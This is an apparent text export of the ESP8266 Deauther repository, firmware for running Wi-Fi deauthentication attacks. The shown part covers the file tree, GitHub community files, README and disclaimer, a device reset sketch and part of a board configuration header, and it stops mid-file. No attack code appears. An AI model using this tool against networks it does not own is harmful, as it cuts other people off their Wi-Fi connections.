Showing preview only (3,386K chars total). Download the full file or copy to clipboard to get everything.
Repository: SpacehuhnTech/esp8266_deauther
Branch: v2
Commit: b98f1598115b
Files: 177
Total size: 3.2 MB
Directory structure:
gitextract_old4i_09/
├── .github/
│ ├── CODE_OF_CONDUCT.md
│ ├── CONTRIBUTING.md
│ ├── FUNDING.yml
│ ├── ISSUE_TEMPLATE/
│ │ ├── 1--error-report.md
│ │ ├── 2--question.md
│ │ ├── 3--feature-request.md
│ │ ├── 4--bug-report.md
│ │ └── 5--documentation.md
│ ├── ISSUE_TEMPLATE.md
│ ├── config.yml
│ ├── stale.yml
│ └── workflows/
│ └── nightly.yml
├── .gitignore
├── LICENSE
├── README.md
├── Reset_Sketch/
│ ├── README.md
│ └── Reset_Sketch.ino
├── arduino-cli.yaml
├── esp8266_deauther/
│ ├── A_config.h
│ ├── Accesspoints.cpp
│ ├── Accesspoints.h
│ ├── Attack.cpp
│ ├── Attack.h
│ ├── CLI.cpp
│ ├── CLI.h
│ ├── DisplayUI.cpp
│ ├── DisplayUI.h
│ ├── EEPROMHelper.h
│ ├── Names.cpp
│ ├── Names.h
│ ├── SSIDs.cpp
│ ├── SSIDs.h
│ ├── Scan.cpp
│ ├── Scan.h
│ ├── SimpleList.h
│ ├── Stations.cpp
│ ├── Stations.h
│ ├── debug.h
│ ├── esp8266_deauther.ino
│ ├── functions.h
│ ├── language.h
│ ├── led.cpp
│ ├── led.h
│ ├── oui.h
│ ├── settings.cpp
│ ├── settings.h
│ ├── src/
│ │ ├── Adafruit_DotStar-1.1.4/
│ │ │ ├── Adafruit_DotStar.cpp
│ │ │ ├── Adafruit_DotStar.h
│ │ │ └── license.txt
│ │ ├── Adafruit_NeoPixel-1.7.0/
│ │ │ ├── Adafruit_NeoPixel.cpp
│ │ │ ├── Adafruit_NeoPixel.h
│ │ │ ├── COPYING
│ │ │ └── esp8266.c
│ │ ├── ArduinoJson-v5.13.5/
│ │ │ └── ArduinoJson.h
│ │ ├── DS3231-1.0.3/
│ │ │ ├── DS3231.cpp
│ │ │ ├── DS3231.h
│ │ │ └── LICENSE
│ │ ├── SimpleButton/
│ │ │ ├── Buttons/
│ │ │ │ ├── AnalogStick.cpp
│ │ │ │ ├── AnalogStick.h
│ │ │ │ ├── Button.cpp
│ │ │ │ ├── Button.h
│ │ │ │ ├── ButtonAnalog.cpp
│ │ │ │ ├── ButtonAnalog.h
│ │ │ │ ├── ButtonGPIOExpander.cpp
│ │ │ │ ├── ButtonGPIOExpander.h
│ │ │ │ ├── ButtonPullup.cpp
│ │ │ │ ├── ButtonPullup.h
│ │ │ │ ├── ButtonPullupGPIOExpander.cpp
│ │ │ │ ├── ButtonPullupGPIOExpander.h
│ │ │ │ ├── PS2Gamepad.cpp
│ │ │ │ ├── PS2Gamepad.h
│ │ │ │ ├── RotaryEncoder.cpp
│ │ │ │ ├── RotaryEncoder.h
│ │ │ │ ├── RotaryEncoderI2C.cpp
│ │ │ │ ├── RotaryEncoderI2C.h
│ │ │ │ ├── Switch.cpp
│ │ │ │ └── Switch.h
│ │ │ ├── Events/
│ │ │ │ ├── ClickEvent.cpp
│ │ │ │ ├── ClickEvent.h
│ │ │ │ ├── DoubleclickEvent.cpp
│ │ │ │ ├── DoubleclickEvent.h
│ │ │ │ ├── Event.cpp
│ │ │ │ ├── Event.h
│ │ │ │ ├── HoldEvent.cpp
│ │ │ │ ├── HoldEvent.h
│ │ │ │ ├── PushEvent.cpp
│ │ │ │ ├── PushEvent.h
│ │ │ │ ├── ReleaseEvent.cpp
│ │ │ │ └── ReleaseEvent.h
│ │ │ ├── LICENSE
│ │ │ ├── SimpleButton.h
│ │ │ └── libs/
│ │ │ ├── GPIOExpander.cpp
│ │ │ ├── GPIOExpander.h
│ │ │ ├── MCP23017.cpp
│ │ │ ├── MCP23017.h
│ │ │ ├── PCF8574.cpp
│ │ │ ├── PCF8574.h
│ │ │ ├── PCF8575.cpp
│ │ │ └── PCF8575.h
│ │ ├── esp8266-oled-ssd1306-4.1.0/
│ │ │ ├── OLEDDisplay.cpp
│ │ │ ├── OLEDDisplay.h
│ │ │ ├── OLEDDisplayFonts.h
│ │ │ ├── OLEDDisplayUi.cpp
│ │ │ ├── OLEDDisplayUi.h
│ │ │ ├── README.md
│ │ │ ├── SH1106.h
│ │ │ ├── SH1106Brzo.h
│ │ │ ├── SH1106Spi.h
│ │ │ ├── SH1106Wire.h
│ │ │ ├── SSD1306.h
│ │ │ ├── SSD1306Brzo.h
│ │ │ ├── SSD1306I2C.h
│ │ │ ├── SSD1306Spi.h
│ │ │ ├── SSD1306Wire.h
│ │ │ └── license
│ │ └── my92xx-3.0.3/
│ │ ├── LICENSE
│ │ ├── my92xx.cpp
│ │ └── my92xx.h
│ ├── webfiles.h
│ ├── wifi.cpp
│ └── wifi.h
├── serialcommands.md
├── settings.md
├── utils/
│ ├── arduino-cli-compile.py
│ ├── old_web_converter/
│ │ ├── convert_all.sh
│ │ ├── converter.html
│ │ ├── readme.md
│ │ └── style.css
│ ├── vendor_list_updater/
│ │ ├── README.md
│ │ └── update_manuf.py
│ └── web_converter/
│ ├── css_html_js_minify/
│ │ ├── __init__.py
│ │ ├── css_minifier.py
│ │ ├── html_minifier.py
│ │ ├── js_minifier.py
│ │ ├── minify.py
│ │ └── variables.py
│ ├── readme.md
│ └── webConverter.py
└── web_interface/
├── attack.html
├── attack.json
├── index.html
├── info.html
├── js/
│ ├── attack.js
│ ├── scan.js
│ ├── settings.js
│ ├── site.js
│ └── ssids.js
├── lang/
│ ├── cn.lang
│ ├── cs.lang
│ ├── da.lang
│ ├── de.lang
│ ├── en.lang
│ ├── es.lang
│ ├── fi.lang
│ ├── fr.lang
│ ├── hu.lang
│ ├── in.lang
│ ├── it.lang
│ ├── ja.lang
│ ├── ko.lang
│ ├── nl.lang
│ ├── pl.lang
│ ├── ptbr.lang
│ ├── ro.lang
│ ├── ru.lang
│ ├── th.lang
│ ├── tlh.lang
│ └── uk.lang
├── names.json
├── run
├── scan.html
├── scan.json
├── settings.html
├── settings.json
├── ssids.html
├── ssids.json
└── style.css
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/CODE_OF_CONDUCT.md
================================================
# Code of Conduct
## Our Pledge
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, OS choice, favourite programming language (especially if it's JavaScript), nationality, personal appearance, race, religion, or sexual identity and orientation.
## Our Standards
Examples of behavior that contributes to creating a positive environment include:
* Using welcoming and inclusive language
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy towards other community members
Examples of unacceptable behavior by participants include:
* Calling this project a "Jammer"
* The use of sexualized language or imagery and unwelcome sexual attention or advances
* Trolling, insulting/derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or electronic address, without explicit permission
* Other conduct which could reasonably be considered inappropriate in a professional setting such as promoting chicken foodism
## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
## Scope
This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at mail@spacehuhn.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
[homepage]: http://contributor-covenant.org
[version]: http://contributor-covenant.org/version/1/4/
================================================
FILE: .github/CONTRIBUTING.md
================================================
# Request for contributions
Please contribute to this repository if any of the following is true:
- You have expertise in Arduino/ESP8266 development, WiFi, or C/C++
- You want to help lower the burden to first time contributors
- You want this open source community to be more collaborative and inclusive
# How to contribute
Prerequisites:
- Familiarity with [pull requests](https://help.github.com/articles/using-pull-requests) and [issues](https://guides.github.com/features/issues/).
- Knowledge of [Markdown](https://help.github.com/articles/markdown-basics/) for editing `.md` documents.
- Knowledge of [WiFi Deauth](https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack) for understanding the project.
In particular, this community seeks the following types of contributions:
- **Ideas**: participate in an issue thread or start your own to have your voice
heard.
- **Resources**: submit a pull request to add to RESOURCES.md with links to related content.
- **Outline sections**: help us ensure that this repository is comprehensive. if
there is a topic that is overlooked, please add it, even if it is just a stub
in the form of a header and single sentence. Initially, most things fall into
this category.
- **Writing**: contribute your expertise in an area by helping us expand the included
content.
- **Copy editing**: fix typos, clarify language, and generally improve the quality
of the content.
- **Formatting**: help keep content easy to read with consistent formatting.
<a name="bugs"></a>
## Bug reports
A bug is a _demonstrable problem_ that is caused by the code in the repository.
Good bug reports are extremely helpful - thank you!
Guidelines for bug reports:
1. **Use the GitHub issue search** — check if the issue has already been
reported.
2. **Check if the issue has been fixed** — try to reproduce it using the
latest `master` or development branch in the repository.
3. **Isolate the problem**.
A good bug report shouldn't leave others needing to chase you up for more
information. Please try to be as detailed as possible in your report. What is
your environment? What steps will reproduce the issue? What browser(s) and OS
experience the problem? What would you expect to be the outcome? All these
details will help people to fix any potential bugs.
Example:
> Short and descriptive example bug report title
>
> A summary of the issue and the browser/OS environment in which it occurs. If
> suitable, include the steps required to reproduce the bug.
>
> 1. This is the first step
> 2. This is the second step
> 3. Further steps, etc.
>
> `<url>` - a link to the serial output on pastebin
> `<pic>` - a photo of your build with apparent wiring
>
> Any other information you want to share that is relevant to the issue being
> reported. This might include the lines of code that you have identified as
> causing the bug, and potential solutions (and your opinions on their
> merits).
<a name="features"></a>
## Feature requests
Feature requests are welcome. But take a moment to find out whether your idea
fits with the scope and aims of the project. It's up to *you* to make a strong
case to convince the project's developers of the merits of this feature. Please
provide as much detail and context as possible.
<a name="pull-requests"></a>
## Pull requests
Good pull requests - patches, improvements, new features - are a fantastic
help. They should remain focused in scope and avoid containing unrelated
commits.
**Please ask first** before embarking on any significant pull request (e.g.
implementing features, refactoring code, porting to a different language),
otherwise you risk spending a lot of time working on something that the
project's developers might not want to merge into the project.
Please adhere to the coding conventions used throughout a project (indentation,
accurate comments, etc.) and any other requirements (such as test coverage).
================================================
FILE: .github/FUNDING.yml
================================================
# These are supported funding model platforms
github: spacehuhntech
patreon: # Replace with a single Patreon username
open_collective: # Replace with a single Open Collective username
ko_fi: spacehuhn
tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
liberapay: # Replace with a single Liberapay username
issuehunt: # Replace with a single IssueHunt username
otechie: # Replace with a single Otechie username
custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
================================================
FILE: .github/ISSUE_TEMPLATE/1--error-report.md
================================================
---
name: 1. Problem or error report
about: I encountered a problem and need help to solve it
title: ""
labels: help wanted
assignees: ''
---
> Have you searched for existing (open and closed) issues describing the same problem?
Yes/No
**Describe the error**
A clear and concise description of what the problem is.
What do you think causes it?
```
Error/Compile/Output Log
```
**To Reproduce**
Steps to reproduce the behavior:
1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error
**Expected behavior**
A clear and concise description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Environment (please complete the following information):**
- OS: [e.g. iOS]
- Browser [e.g. chrome, safari]
- Version [e.g. 1.0]
- Hardware [e.g. DSTIKE, DIY]
**Attempts**
What have you already tried and didn't work out.
**Additional context**
Provide as much information as possible, better too much than too little!
If you don't use this template, your issue might be closed and tagged invalid!
================================================
FILE: .github/ISSUE_TEMPLATE/2--question.md
================================================
---
name: 2. Question
about: I have a question about this project
title: ""
labels: question
assignees: ''
---
> Please search for existing (open and closed) issues first to avoid duplicates.
Also have a look at the [Wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki).
================================================
FILE: .github/ISSUE_TEMPLATE/3--feature-request.md
================================================
---
name: 3. Feature request
about: I have an idea to improve this project
title: ""
labels: feature request
assignees: ''
---
**Do similar feature requests issues already exist (open and closed)?**
If yes, please link them here:
**Is your feature request related to a problem? Please describe.**
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
**Describe the solution you'd like**
A clear and concise description of what you want to happen.
**Describe alternatives you've considered**
A clear and concise description of any alternative solutions or features you've considered.
**Additional context**
Add any other context or screenshots about the feature request here.
If you don't use this template, your issue might be closed and tagged invalid!
================================================
FILE: .github/ISSUE_TEMPLATE/4--bug-report.md
================================================
---
name: 4. Bug report
about: I found a reproducible bug in the code
title: ""
labels: bug
assignees: ''
---
**Describe the bug**
A clear and concise description of what the bug is.
**To Reproduce**
Steps to reproduce the behavior:
1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error
**Expected behavior**
A clear and concise description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Environment (please complete the following information):**
- OS: [e.g. iOS]
- Browser [e.g. chrome, safari]
- Version [e.g. 1.0]
- Hardware [e.g. DSTIKE, DIY]
**Additional context**
Add any other context about the problem here.
If you don't use this template, your issue might be closed and tagged invalid!
================================================
FILE: .github/ISSUE_TEMPLATE/5--documentation.md
================================================
---
name: 5. Documentation
about: I have something to improve or add to the docs
title: ''
labels: documentation
assignees: ''
---
**Describe your changes**
A clear and concise description of what you like to add or change.
**Location**
Where should these changes be made or the information published?
Wiki, README, ...
**Additional context**
Add any other context about your proposal.
================================================
FILE: .github/ISSUE_TEMPLATE.md
================================================
> Please search for existing (open and closed) issues first to avoid duplicates.
Also have a look at the [Wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki).
```
PASTE YOUR ERROR/COMPILE LOGS HERE
```
================================================
FILE: .github/config.yml
================================================
# Configuration for welcome - https://github.com/behaviorbot/welcome
newIssueWelcomeComment: >
Congrats on opening your first issue on this repository! 🎉<br>
This is a automated message to help you avoid common pitfalls when asking for help online.<br>
👉 Be sure to:<br>
* 🇬🇧 Communicate in English so everybody can understand you<br>
* 📖 Have a look at the [Wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki) and [README](https://github.com/SpacehuhnTech/esp8266_deauther/blob/v2/README.md) for information<br>
* 🔍 Search for similar [issues (open and closed)](https://github.com/SpacehuhnTech/esp8266_deauther/issues?q=is%3Aissue+)<br>
* ✍️ Provide enough information to understand, recreate and help out with your problem<br>
* ℹ️ Let us know if you find a solution and please share it with us<br>
* 📕 Close the issue when your problem has been solved
newPRWelcomeComment:
firstPRMergeComment:
================================================
FILE: .github/stale.yml
================================================
# Number of days of inactivity before an issue becomes stale
daysUntilStale: 180
# Number of days of inactivity before a stale issue is closed
daysUntilClose: 7
# Issues with these labels will never be considered stale
exemptLabels:
- pinned
- bug
- translation
- feature request
# Label to use when marking an issue as stale
staleLabel: stale
# Comment to post when marking an issue as stale. Set to `false` to disable
markComment: >
This issue has been automatically marked as stale because it has not had
recent activity. It will be closed if no further activity occurs. Thank you
for your contributions.
# Comment to post when closing a stale issue. Set to `false` to disable
closeComment: false
================================================
FILE: .github/workflows/nightly.yml
================================================
name: Trigger nightly build
on:
push:
jobs:
notify-nightly:
name: "Trigger new build on nightly-deauther"
runs-on: ubuntu-latest
steps:
- name: Build message title
id: notif
run: echo ::set-output name=TITLE::Deauther V2 $(echo ${{ github.sha }} | cut -c -7)
- name: Send message
run: |
curl -X POST https://api.github.com/repos/spacehuhntech/nightly-deauther/dispatches \
-H 'Accept: application/vnd.github.everest-preview+json' \
-u ${{ secrets.ACCESS_TOKEN }} \
--data '{"event_type": "${{ steps.notif.outputs.TITLE }}", "client_payload": {}}'
================================================
FILE: .gitignore
================================================
*.bin
*.elf
*.map
.DS_Store
*.pyc
utils/web_converter/css_html_js_minify/__pycache__/
================================================
FILE: LICENSE
================================================
Do not redistribute, advertise or sell this software as a "jammer"!!!
MIT License
Copyright (c) 2020 Spacehuhn Technologies
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
# ESP8266 Deauther
<img src='https://deauther.com/img/logo.png' alt='Deauther Logo' width='200' />
**Scan for WiFi devices, block selected connections, create dozens of networks and confuse WiFi scanners.**
## New Documentation
Hi 👋
Please visit [Deauther.com](https://deauther.com) for information about this project.
Here are some quick links:
* [Buy](https://deauther.com/docs/buy)
* [Download](https://deauther.com/docs/download)
* [DIY Tutorial](https://deauther.com/docs/category/diy-tutorial)
* [Usage](https://deauther.com/docs/category/usage)
* [FAQ](https://deauther.com/docs/faq)
## Password
The password for `pwned` is `deauther`
## About this Project
This firmware allows you to easily perform a variety of actions to test 802.11 networks using an [ESP8266](https://www.espressif.com/en/products/socs/esp8266). It's also a great project for learning about WiFi, microcontrollers, Arduino, hacking and electronics/programming in general.
The deauthentication attack is the main feature, which can be used to disconnect devices from their WiFi network.
Although this denial-of-service attack is nothing new, a lot of devices are still vulnerable to it. Luckily this is slowly changing with more WiFi 6 enabled devices being used. But a lot of outdated WiFi devices remain in place, for example in cheap IoT hardware.
With an ESP8266 Deauther, you can easily test this attack on your 2.4GHz WiFi network/devices and see whether it's successful or not. And if it is, you know you should upgrade your network.
## Disclaimer
This project is a proof of concept for testing and educational purposes.
Neither the ESP8266, nor its SDK was meant or built for such purposes. **Bugs can occur!**
**Use it only against your own networks and devices!**
Please check the legal regulations in your country before using it.
We don't take any responsibility for what you do with this program.
================================================
FILE: Reset_Sketch/README.md
================================================
# RESET
## Method 1
Open the Reset_Sketch.ino and upload with the correct settings.
## Method 2
Flash one of the `reset_` files.
## Method 3
Flash the `blank_1MB.bin` to 0x000000 for 1MB modules.
Flash it to 0x000000, 0x100000, 0x200000 and 0x300000 for 4MB modules.
================================================
FILE: Reset_Sketch/Reset_Sketch.ino
================================================
#include <EEPROM.h>
#include <LittleFS.h>
/*
Upload this sketch to your ESP8266 to erase
- all files in the SPIFFS,
- all data in the EEPROM
- WiFi credentials (SSID, password)
Also overwrites the previous program with this one (obviously).
*/
void setup() {
Serial.begin(115200);
Serial.println();
Serial.println("STARTING...");
EEPROM.begin(4096);
Serial.println("EEPROM initialized");
for (int i = 0; i < 4096; ++i){
EEPROM.write(i,0x00);
}
Serial.println("EEPROM cleaned");
LittleFS.begin();
Serial.println("SPIFFS initialized");
LittleFS.format();
Serial.println("SPIFFS cleaned");
ESP.eraseConfig();
Serial.println("WiFi credentials erased");
Serial.println("DONE!");
delay(10000);
ESP.reset();
}
void loop() {
}
================================================
FILE: arduino-cli.yaml
================================================
# arduino-cli.yaml
board_manager:
additional_urls:
- https://raw.githubusercontent.com/SpacehuhnTech/arduino/main/package_spacehuhn_index.json
================================================
FILE: esp8266_deauther/A_config.h
================================================
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#define ENABLE_DEBUG
#define DEBUG_PORT Serial
#define DEBUG_BAUD 115200
#define DEFAULT_ESP8266
// #define NODEMCU
// #define WEMOS_D1_MINI
// #define HACKHELD_VEGA
// #define DISPLAY_EXAMPLE_I2C
// #define DISPLAY_EXAMPLE_SPI
// #define MALTRONICS
// #define DSTIKE_DEAUTHER_V1
// #define DSTIKE_DEAUTHER_V2
// #define DSTIKE_DEAUTHER_V3
// #define DSTIKE_DEAUTHER_V3_5
// #define DSTIKE_D_DUINO_B_V5_LED_RING
// #define DSTIKE_DEAUTHER_BOY
// #define DSTIKE_NODEMCU_07
// #define DSTIKE_NODEMCU_07_V2
// #define DSTIKE_DEAUTHER_OLED
// #define DSTIKE_DEAUTHER_OLED_V1_5_S
// #define DSTIKE_DEAUTHER_OLED_V1_5
// #define DSTIKE_DEAUTHER_OLED_V2
// #define DSTIKE_DEAUTHER_OLED_V2_5
// #define DSTIKE_DEAUTHER_OLED_V3
// #define DSTIKE_DEAUTHER_OLED_V3_5
// #define DSTIKE_DEAUTHER_OLED_V4
// #define DSTIKE_DEAUTHER_OLED_V5
// #define DSTIKE_DEAUTHER_OLED_V6
// #define DSTIKE_DEAUTHER_MOSTER
// #define DSTIKE_DEAUTHER_MOSTER_V2
// #define DSTIKE_DEAUTHER_MOSTER_V3
// #define DSTIKE_DEAUTHER_MOSTER_V4
// #define DSTIKE_DEAUTHER_MOSTER_V5
// #define DSTIKE_USB_DEAUTHER
// #define DSTIKE_USB_DEAUTHER_V2
// #define DSTIKE_DEAUTHER_WATCH
// #define DSTIKE_DEAUTHER_WATCH_V2
// #define DSTIKE_DEAUTHER_MINI
// #define DSTIKE_DEAUTHER_MINI_EVO
// #define LYASI_7W_E27_LAMP
// #define AVATAR_5W_E14_LAMP
// Forces formatting of SPIFFS and EEPROM ot startup
// #define FORMAT_SPIFFS
// #define FORMAT_EEPROM
// Forces a reset of all settings at startup
// #define RESET_SETTINGS
// ========== CONFIGS ========== //
// https://github.com/spacehuhntech/hackheld
#if defined(HACKHELD_VEGA)
// ===== LED ===== //
#define USE_LED true
#define LED_NEOPIXEL
#define LED_NEOPIXEL_GRB
// #define LED_NEOPIXEL_RGB
#define LED_MODE_BRIGHTNESS 10
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15 // D8
// ===== DISPLAY ===== //
#define USE_DISPLAY true
#define FLIP_DIPLAY true
#define SH1106_I2C
#define I2C_ADDR 0x3C
#define I2C_SDA 4 // D2
#define I2C_SCL 5 // D1
// ===== BUTTONS ===== //
#define BUTTON_UP 14 // D5
#define BUTTON_DOWN 12 // D6
#define BUTTON_A 2 // D4
#define BUTTON_B 0 // D3
// https://github.com/SpacehuhnTech/esp8266_deauther/wiki/Setup-Display-&-Buttons#example-setup-with-i2c-oled
#elif defined(DISPLAY_EXAMPLE_I2C)
// ===== DISPLAY ===== //
#define SH1106_I2C
// #define SSD1306_I2C
#define I2C_ADDR 0x3C
#define I2C_SDA 5
#define I2C_SCL 4
// #define FLIP_DIPLAY true
// ===== BUTTONS ===== //
#define BUTTON_UP 14
#define BUTTON_DOWN 12
#define BUTTON_A 13
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
// #define LED_NEOPIXEL_RGB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 9
#define LED_MODE_BRIGHTNESS 10
// https://github.com/SpacehuhnTech/esp8266_deauther/wiki/Setup-Display-&-Buttons#example-setup-with-spi-oled
#elif defined(DISPLAY_EXAMPLE_SPI)
#define SH1106_SPI
// #define SSD1306_SPI
#define SPI_RES 5
#define SPI_DC 4
#define SPI_CS 15
// #define FLIP_DIPLAY true
// ===== BUTTONS ===== //
#define BUTTON_UP 0
#define BUTTON_DOWN 12
#define BUTTON_A 2
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
// #define LED_NEOPIXEL_RGB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 9
#define LED_MODE_BRIGHTNESS 10
#elif defined(MALTRONICS)
// ===== Reset ====== //
#define RESET_BUTTON 5
// ===== LED ===== //
#define LED_DOTSTAR
#define LED_NUM 1
#define LED_DOTSTAR_CLK 12
#define LED_DOTSTAR_DATA 13
#define LED_MODE_BRIGHTNESS 255
// ===== Web ===== //
#define WEB_IP_ADDR (192, 168, 4, 2)
#define WEB_URL "deauther.tools"
#elif defined(DSTIKE_D_DUINO_B_V5_LED_RING)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 12
#define LED_NEOPIXEL_PIN 15
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_DEAUTHER_BOY)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 10
#define BUTTON_DOWN 9
#define BUTTON_A 14
#define BUTTON_B 12
#elif defined(DSTIKE_DEAUTHER_V3_5) || defined(DSTIKE_NODEMCU_07_V2)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
#elif defined(DSTIKE_DEAUTHER_OLED_V1_5_S)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_DEAUTHER_OLED) || defined(DSTIKE_DEAUTHER_OLED_V1_5)
// ===== LED ===== //
#define LED_DIGITAL
#define LED_PIN_R 16
#define LED_PIN_B 2
// ===== DISPLAY ===== //
#define SSD1306_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_DEAUTHER_OLED_V2) || defined(DSTIKE_DEAUTHER_OLED_V2_5) || defined(DSTIKE_DEAUTHER_OLED_V3)
// ===== LED ===== //
#define LED_DIGITAL
#define LED_PIN_R 16
#define LED_PIN_B 2
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_DEAUTHER_OLED_V3_5) || defined(DSTIKE_DEAUTHER_OLED_V4) || defined(DSTIKE_DEAUTHER_OLED_V5) || defined(DSTIKE_DEAUTHER_MOSTER) || defined(DSTIKE_DEAUTHER_MOSTER_V2) || defined(DSTIKE_DEAUTHER_MOSTER_V3) || defined(DSTIKE_DEAUTHER_MOSTER_V4)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_DEAUTHER_OLED_V6) || defined(DSTIKE_DEAUTHER_MOSTER_V5)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
#define HIGHLIGHT_LED 16
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
#define RTC_DS3231
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_USB_DEAUTHER_V2)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 4
#elif defined(DSTIKE_DEAUTHER_WATCH) || defined(DSTIKE_DEAUTHER_MINI)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
#define HIGHLIGHT_LED 16
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_DEAUTHER_WATCH_V2) || defined(DSTIKE_DEAUTHER_MINI_EVO)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
#define HIGHLIGHT_LED 16
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
#define RTC_DS3231
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(LYASI_7W_E27_LAMP)
// ===== LED ===== //
#define LED_MY92
#define LED_MODE_OFF 0, 0, 0
#define LED_MODE_SCAN 0, 0, 255
#define LED_MODE_ATTACK 255, 0, 0
